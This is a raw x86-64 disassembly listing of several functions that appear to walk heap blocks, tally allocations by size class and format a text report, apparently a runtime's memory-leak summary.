    00404cb1test rax, 1
    00404cb8jne 0x404e2c
    00404cbemov rcx, [rbp+40]
    00404cc2call fn_404bc0
    00404cc7test al, al
    00404cc9jne 0x404e2c
    00404ccfmov [rbx+0x1004f], 0
    00404cd6xor edi, edi
    00404cd8mov rcx, [rbp+40]
    00404cdccall fn_404a90
    00404ce1test rax, rax
    00404ce4jne 0x404ddb
    00404ceamov rax, [rbp+40]
    00404ceecmp [rax+8], 256
    00404cf5jge 0x404e1e
    00404cfbmov ecx, [rax+12]
    00404cfemovzx r8l, [rax+6]
    00404d03cmp r8l, 1
    00404d07je 0x404d13
    00404d09cmp r8l, 2
    00404d0djne 0x404e1e
    00404d13
    00404d13loc_404d13:
    00404d13test ecx, ecx
    00404d15jle 0x404e1e
    00404d1bmov rax, [rsi]
    00404d1emovzx eax, [rax+2]
    00404d22sub eax, 24
    00404d25cdq
    00404d26idiv r8l
    00404d29cmp eax, ecx
    00404d2bjle 0x404e1e
    00404d31mov r9b, 1
    00404d34cmp r8l, 1
    00404d38jne 0x404d8f
    00404d3amov rax, [rbp+40]
    00404d3elea rdx, [rax+16]
    00404d42mov r8l, 1
    00404d48mov eax, r8l
    00404d4bcmp eax, ecx
    00404d4djg 0x404d72
    00404d4fsub ecx, r8l
    00404d52add ecx, 1
    00404d55
    00404d55loc_404d55:
    00404d55test r9b, r9b
    00404d58je 0x404d5f
    00404d5acmp [rdx], 32
    00404d5djae 0x404d64
    00404d5f
    00404d5floc_404d5f:
    00404d5fxor r9, r9
    00404d62jmp 0x404d67
    00404d64
    00404d64loc_404d64:
    00404d64mov r9b, 1
    00404d67
    00404d67loc_404d67:
    00404d67add rdx, 1
    00404d6bsub ecx, 1
    00404d6etest ecx, ecx
    00404d70jne 0x404d55
    00404d72
    00404d72loc_404d72:
    00404d72nop
    00404d73test r9b, r9b
    00404d76je 0x404e1e
    00404d7ccmp [rdx], 0
    00404d7fjne 0x404e1e
    00404d85mov edi, 1
    00404d8ajmp 0x404e1e
    00404d8f
    00404d8floc_404d8f:
    00404d8fmov rax, [rbp+40]
    00404d93lea rdx, [rax+16]
    00404d97mov r8l, 1
    00404d9dmov eax, r8l
    00404da0cmp eax, ecx
    00404da2jg 0x404dc8
    00404da4sub ecx, r8l
    00404da7add ecx, 1
    00404daa
    00404daaloc_404daa:
    00404daatest r9b, r9b
    00404dadje 0x404db5
    00404dafcmp [rdx], 32
    00404db3jae 0x404dba
    00404db5
    00404db5loc_404db5:
    00404db5xor r9, r9
    00404db8jmp 0x404dbd
    00404dba
    00404dbaloc_404dba:
    00404dbamov r9b, 1
    00404dbd
    00404dbdloc_404dbd:
    00404dbdadd rdx, 2
    00404dc1sub ecx, 1
    00404dc4test ecx, ecx
    00404dc6jne 0x404daa
    00404dc8
    00404dc8loc_404dc8:
    00404dc8nop
    00404dc9test r9b, r9b
    00404dccje 0x404e1e
    00404dcecmp [rdx], 0
    00404dd2jne 0x404e1e
    00404dd4mov edi, 2
    00404dd9jmp 0x404e1e
    00404ddb
    00404ddbloc_404ddb:
    00404ddbmov edi, 3
    00404de0
    00404de0loc_404de0:
    00404de0movsxd rcx, edi
    00404de3mov rdx, rcx
    00404de6add rdx, rdx
    00404de9cmp [r13+8*rdx], rax
    00404deeje 0x404e06
    00404df0add rcx, rcx
    00404df3cmp [r13+8*rcx], 0
    00404df9je 0x404e06
    00404dfbadd edi, 1
    00404dfecmp edi, 255
    00404e04jle 0x404de0
    00404e06
    00404e06loc_404e06:
    00404e06nop
    00404e07cmp edi, 255
    00404e0djg 0x404e1c
    00404e0fmovsxd rcx, edi
    00404e12add rcx, rcx
    00404e15mov [r13+8*rcx], rax
    00404e1ajmp 0x404e1e
    00404e1c
    00404e1cloc_404e1c:
    00404e1cxor edi, edi
    00404e1e
    00404e1eloc_404e1e:
    00404e1emovsxd rdi, edi
    00404e21add rdi, rdi
    00404e24lea rax, [r13+8*rdi+8]
    00404e29add [rax], 1
    00404e2c
    00404e2cloc_404e2c:
    00404e2cmov rax, [rsi]
    00404e2fmovzx rax, [rax+2]
    00404e34add [rbp+40], rax
    00404e38
    00404e38loc_404e38:
    00404e38mov rax, [rbp+40]
    00404e3ccmp rax, [rbp+32]
    00404e40jbe 0x404ca9
    00404e46lea rsp, [rbp+48]
    00404e4apop rbx
    00404e4bpop rsi
    00404e4cpop rdi
    00404e4dpop r13
    00404e4fpop rbp
    00404e50ret
    00404c60
    00404e51
    00404e51 // align 0x10
    00404e60
    00404e60fn_404e60:
    00404e60push rbp
    00404e61push r14
    00404e63push r13
    00404e65push rdi
    00404e66push rsi
    00404e67push rbx
    00404e68mov eax, 4008
    00404e6d
    00404e6dloc_404e6d:
    00404e6dsub rax, 4096
    00404e73mov [rsp+rax], al
    00404e76cmp rax, 0xfffffffffffc1fa8
    00404e7dja 0x404e6d
    00404e7fsub rsp, 0x3e058
    00404e86mov rbp, rsp
    00404e89lea rcx, [rbp+72]
    00404e8dmov edx, 32768
    00404e92xor r8, r8
    00404e95call fn_4069b0
    00404e9alea rcx, [rbp+0x10050]
    00404ea1mov edx, 0x2e000
    00404ea6xor r8, r8
    00404ea9call fn_4069b0
    00404eaelea rcx, [rbp+32840]
    00404eb5mov edx, 32768
    00404ebaxor r8, r8
    00404ebdcall fn_4069b0
    00404ec2xor eax, eax
    00404ec4mov [rbp+32], eax
    00404ec7mov [rbp+0x1004f], 1
    00404ecemov rdi, [rip+0x60cab]
    00404ed5jmp 0x404f67
    00404eda
    00404edaloc_404eda:
    00404edamov rcx, rdi
    00404eddcall fn_404800
    00404ee2mov rsi, rax
    00404ee5test rsi, rsi
    00404ee8je 0x404f62
    00404eea
    00404eealoc_404eea:
    00404eeamov rax, [rsi-8]
    00404eeemov rcx, rax
    00404ef1test rcx, 1
    00404ef8jne 0x404f52
    00404efamov rcx, rax
    00404efdtest rcx, 4
    00404f04je 0x404f13
    00404f06mov rcx, rbp
    00404f09mov rdx, rsi
    00404f0ccall fn_404c60
    00404f11jmp 0x404f52
    00404f13
    00404f13loc_404f13:
    00404f13mov ecx, [rbp+32]
    00404f16cmp ecx, 4096
    00404f1cjge 0x404f52
    00404f1emov ebx, eax
    00404f20and ebx, -16
    00404f23sub ebx, 8
    00404f26mov rcx, rsi
    00404f29call fn_404bc0
    00404f2etest al, al
    00404f30jne 0x404f52
    00404f32mov [rbp+0x1004f], 0
    00404f39mov eax, [rbp+32]
    00404f3cmovsxd rax, eax
    00404f3fmov ebx, ebx
    00404f41mov [rbp+8*rax+32840], rbx
    00404f49mov eax, [rbp+32]
    00404f4cadd eax, 1
    00404f4fmov [rbp+32], eax
    00404f52
    00404f52loc_404f52:
    00404f52mov rcx, rsi
    00404f55call fn_4047e0
    00404f5amov rsi, rax
    00404f5dtest rsi, rsi
    00404f60jne 0x404eea
    00404f62
    00404f62loc_404f62:
    00404f62nop
    00404f63mov rdi, [rdi+8]
    00404f67
    00404f67loc_404f67:
    00404f67lea rax, [rip+0x60c0a]
    00404f6ecmp rdi, rax
    00404f71jne 0x404eda
    00404f77mov rbx, [rip+0x64cc2]
    00404f7ejmp 0x404fbb
    00404f80
    00404f80loc_404f80:
    00404f80lea rcx, [rbx+32]
    00404f84call fn_404bc0
    00404f89test al, al
    00404f8bjne 0x404fb7
    00404f8dmov [rbp+0x1004f], 0
    00404f94mov rax, [rbx+24]
    00404f98and rax, -16
    00404f9clea rax, [rax-40]
    00404fa0mov ecx, [rbp+32]
    00404fa3movsxd rcx, ecx
    00404fa6mov [rbp+8*rcx+32840], rax
    00404faemov eax, [rbp+32]
    00404fb1add eax, 1
    00404fb4mov [rbp+32], eax
    00404fb7
    00404fb7loc_404fb7:
    00404fb7mov rbx, [rbx+8]
    00404fbb
    00404fbbloc_404fbb:
    00404fbblea rax, [rip+0x64c76]
    00404fc2cmp rbx, rax
    00404fc5je 0x404fd2
    00404fc7mov eax, [rbp+32]
    00404fcacmp eax, 4096
    00404fd0jl 0x404f80
    00404fd2
    00404fd2loc_404fd2:
    00404fd2cmp [rbp+0x1004f], 0
    00404fd9jne 0x40535e
    00404fdfxor eax, eax
    00404fe1mov [rbp+39], al
    00404fe4xor eax, eax
    00404fe6mov [rbp+60], eax
    00404fe9mov rcx, [rip+0x54090]
    00404ff0call fn_40c580
    00404ff5mov rcx, [rip+0x54084]
    00404ffclea rdx, [rbp+72]
    00405000mov r8l, eax
    00405003call fn_4048f0
    00405008mov [rbp+40], rax
    0040500cmov r14l, 46
    00405012lea rsi, [rip+0x540c1]
    00405019lea rdi, [rbp+0x11048]
    00405020
    00405020loc_405020:
    00405020movzx ebx, [rsi]
    00405023sub ebx, 8
    00405026xor eax, eax
    00405028mov [rbp+55], al
    0040502bmov eax, 255
    00405030mov [rbp+56], eax
    00405033mov r13, rdi
    00405036
    00405036loc_405036:
    00405036lea rax, [rbp+30791]
    0040503dmov rcx, [rbp+40]
    00405041cmp rcx, rax
    00405044mov [rbp+40], rcx
    00405048ja 0x405221
    0040504ecmp [r13], 0
    00405053jbe 0x405208
    00405059movzx rax, [rbp+39]
    0040505etest al, al
    00405060jne 0x40508a
    00405062mov rcx, [rip+0x5401f]
    00405069call fn_40c580
    0040506emov rcx, [rip+0x54013]
    00405075mov rdx, [rbp+40]
    00405079mov r8l, eax
    0040507ccall fn_4048f0
    00405081mov [rbp+40], rax
    00405085mov al, 1
    00405087mov [rbp+39], al
    0040508a
    0040508aloc_40508a:
    0040508amovzx rax, [rbp+55]
    0040508ftest al, al
    00405091jne 0x405120
    00405097mov rax, [rbp+40]
    0040509bmov [rax], 13
    0040509eadd rax, 1
    004050a2mov [rbp+40], rax
    004050a6mov [rax], 10
    004050a9add rax, 1
    004050admov [rbp+40], rax
    004050b1mov ecx, [rbp+60]
    004050b4add ecx, 1
    004050b7mov ecx, ecx
    004050b9mov rdx, [rbp+40]
    004050bdcall fn_404880
    004050c2mov [rbp+40], rax
    004050c6mov [rax], 32
    004050c9add rax, 1
    004050cdmov [rbp+40], rax
    004050d1mov [rax], 45
    004050d4add rax, 1
    004050d8mov [rbp+40], rax
    004050dcmov [rax], 32
    004050dfadd rax, 1
    004050e3mov [rbp+40], rax
    004050e7mov ecx, ebx
    004050e9mov rdx, [rbp+40]
    004050edcall fn_404880
    004050f2mov [rbp+40], rax
    004050f6mov rcx, [rip+0x53f9b]
    004050fdcall fn_40c580
    00405102mov rcx, [rip+0x53f8f]
    00405109mov rdx, [rbp+40]
    0040510dmov r8l, eax
    00405110call fn_4048f0
    00405115mov [rbp+40], rax
    00405119mov al, 1
    0040511bmov [rbp+55], al
    0040511ejmp 0x40513a
    00405120
    00405120loc_405120:
    00405120mov rax, [rbp+40]
    00405124mov [rax], 44
    00405127add rax, 1
    0040512bmov [rbp+40], rax
    0040512fmov [rax], 32
    00405132add rax, 1
    00405136mov [rbp+40], rax
    0040513a
    0040513aloc_40513a:
    0040513amov eax, [rbp+56]
    0040513dsub eax, 1
    00405140cmp eax, -1
    00405143je 0x405152
    00405145test eax, eax
    00405147je 0x405177
    00405149sub eax, 1
    0040514ctest eax, eax
    0040514ejne 0x4051c1
    00405150jmp 0x40519c
    00405152
    00405152loc_405152:
    00405152mov rcx, [rip+0x53f47]
    00405159call fn_40c580
    0040515emov rcx, [rip+0x53f3b]
    00405165mov rdx, [rbp+40]
    00405169mov r8l, eax
    0040516ccall fn_4048f0
    00405171mov [rbp+40], rax
    00405175jmp 0x4051d2
    00405177
    00405177loc_405177:
    00405177mov rcx, [rip+0x53f2a]
    0040517ecall fn_40c580
    00405183mov rcx, [rip+0x53f1e]
    0040518amov rdx, [rbp+40]
    0040518emov r8l, eax
    00405191call fn_4048f0
    00405196mov [rbp+40], rax
    0040519ajmp 0x4051d2
    0040519c
    0040519cloc_40519c:
    0040519cmov rcx, [rip+0x53f0d]
    004051a3call fn_40c580
    004051a8mov rcx, [rip+0x53f01]
    004051afmov rdx, [rbp+40]
    004051b3mov r8l, eax
    004051b6call fn_4048f0
    004051bbmov [rbp+40], rax
    004051bfjmp 0x4051d2
    004051c1
    004051c1loc_4051c1:
    004051c1mov rcx, [r13-8]
    004051c5mov rdx, [rbp+40]
    004051c9call fn_404920
    004051cemov [rbp+40], rax
    004051d2
    004051d2loc_4051d2:
    004051d2mov rax, [rbp+40]
    004051d6mov [rax], 32
    004051d9add rax, 1
    004051ddmov [rbp+40], rax
    004051e1mov [rax], 120
    004051e4add rax, 1
    004051e8mov [rbp+40], rax
    004051ecmov [rax], 32
    004051efadd rax, 1
    004051f3mov [rbp+40], rax
    004051f7mov ecx, [r13]
    004051fbmov rdx, [rbp+40]
    004051ffcall fn_404880
    00405204mov [rbp+40], rax
    00405208
    00405208loc_405208:
    00405208mov eax, [rbp+56]
    0040520bsub eax, 1
    0040520emov [rbp+56], eax
    00405211sub r13, 16
    00405215mov eax, [rbp+56]
    00405218cmp eax, -1
    0040521bjne 0x405036
    00405221
    00405221loc_405221:
    00405221nop
    00405222movzx rax, [rbp+55]
    00405227test al, al
    00405229jne 0x405241
    0040522bcmp [rip+0x54a26], 0
    00405232je 0x405241
    00405234mov eax, ebx
    00405236add eax, 8
    00405239test eax, 15
    0040523fjne 0x405244
    00405241
    00405241loc_405241:
    00405241mov [rbp+60], ebx
    00405244
    00405244loc_405244:
    00405244add rdi, 4096
    0040524badd rsi, 64
    0040524fsub r14l, 1
    00405253test r14l, r14l
    00405256jne 0x405020
    0040525cnop
    0040525dmov eax, [rbp+32]
    00405260test eax, eax
    00405262jle 0x40532f
    00405268movzx rax, [rbp+39]
    0040526dtest al, al
    0040526fje 0x4052a1
    00405271mov rax, [rbp+40]
    00405275mov [rax], 13
    00405278add rax, 1
    0040527cmov [rbp+40], rax
    00405280mov [rax], 10
    00405283add rax, 1
    00405287mov [rbp+40], rax
    0040528bmov [rax], 13
    0040528eadd rax, 1
    00405292mov [rbp+40], rax
    00405296mov [rax], 10
    00405299add rax, 1
    0040529dmov [rbp+40], rax
    004052a1
    004052a1loc_4052a1:
    004052a1mov rcx, [rip+0x53de8]
    004052a8call fn_40c580
    004052admov rcx, [rip+0x53ddc]
    004052b4mov rdx, [rbp+40]
    004052b8mov r8l, eax
    004052bbcall fn_4048f0
    004052c0mov [rbp+40], rax
    004052c4xor eax, eax
    004052c6mov esi, [rbp+32]
    004052c9sub esi, 1
    004052ccmov ebx, eax
    004052cecmp ebx, esi
    004052d0ja 0x40532e
    004052d2sub esi, eax
    004052d4add esi, 1
    004052d7lea rdi, [rbp+32840]
    004052de
    004052deloc_4052de:
    004052detest ebx, ebx
    004052e0je 0x4052fc
    004052e2mov rax, [rbp+40]
    004052e6mov [rax], 44
    004052e9add rax, 1
    004052edmov [rbp+40], rax
    004052f1mov [rax], 32
    004052f4add rax, 1
    004052f8mov [rbp+40], rax
    004052fc
    004052fcloc_4052fc:
    004052fcmov rcx, [rdi]
    004052ffmov rdx, [rbp+40]
    00405303call fn_404880
    00405308mov [rbp+40], rax
    0040530clea rax, [rbp+30791]
    00405313mov rcx, [rbp+40]
    00405317cmp rcx, rax
    0040531amov [rbp+40], rcx
    0040531eja 0x40532e
    00405320add ebx, 1
    00405323add rdi, 8
    00405327sub esi, 1
    0040532atest esi, esi
    0040532cjne 0x4052de
    0040532e
    0040532eloc_40532e:
    0040532enop
    0040532f
    0040532floc_40532f:
    0040532fmov rcx, [rip+0x53d82]
    00405336call fn_40c580
    0040533bmov rcx, [rip+0x53d76]
    00405342mov rdx, [rbp+40]
    00405346mov r8l, eax
    00405349call fn_4048f0
    0040534elea rcx, [rbp+72]
    00405352mov rdx, [rip+0x53d67]
    00405359call fn_404700
    0040535e
    0040535eloc_40535e:
    0040535elea rsp, [rbp+0x3e058]
    00405365pop rbx
    00405366pop rsi
    00405367pop rdi
    00405368pop r13
    0040536apop r14
    0040536cpop rbp
    0040536dret
    00404e60
    0040536e
    0040536e // align 0x10
    00405370
    00405370fn_405370:
    00405370xor edx, edx
    00405372xor ecx, ecx
    00405374lea r9, [rip+0x53d5f]
    0040537b
    0040537bloc_40537b:
    0040537bcmp [rip+0x548d6], 0
    00405382je 0x40538f
    00405384movzx rax, [r9]
    00405388test ax, 15
    0040538djne 0x4053ba
    0040538f
    0040538floc_40538f:
    0040538fmovzx r8l, [r9]
    00405393shr r8l, 3
    00405397mov al, 4
    00405399imul cl
    0040539bcmp edx, r8l
    0040539ejae 0x4053b6
    004053a0
    004053a0loc_4053a0:
    004053a0lea r10, [rip+0x60685]
    004053a7mov r11l, edx
    004053aamov [r10+r11], al
    004053aeadd edx, 1
    004053b1cmp edx, r8l
    004053b4jb 0x4053a0
    004053b6
    004053b6loc_4053b6:
    004053b6nop
    004053b7mov edx, r8l
    004053ba
    004053baloc_4053ba:
    004053baadd ecx, 1
    004053bdadd r9, 64
    004053c1cmp ecx, 46
    004053c4jne 0x40537b
    004053c6nop
    004053c7ret
    00405370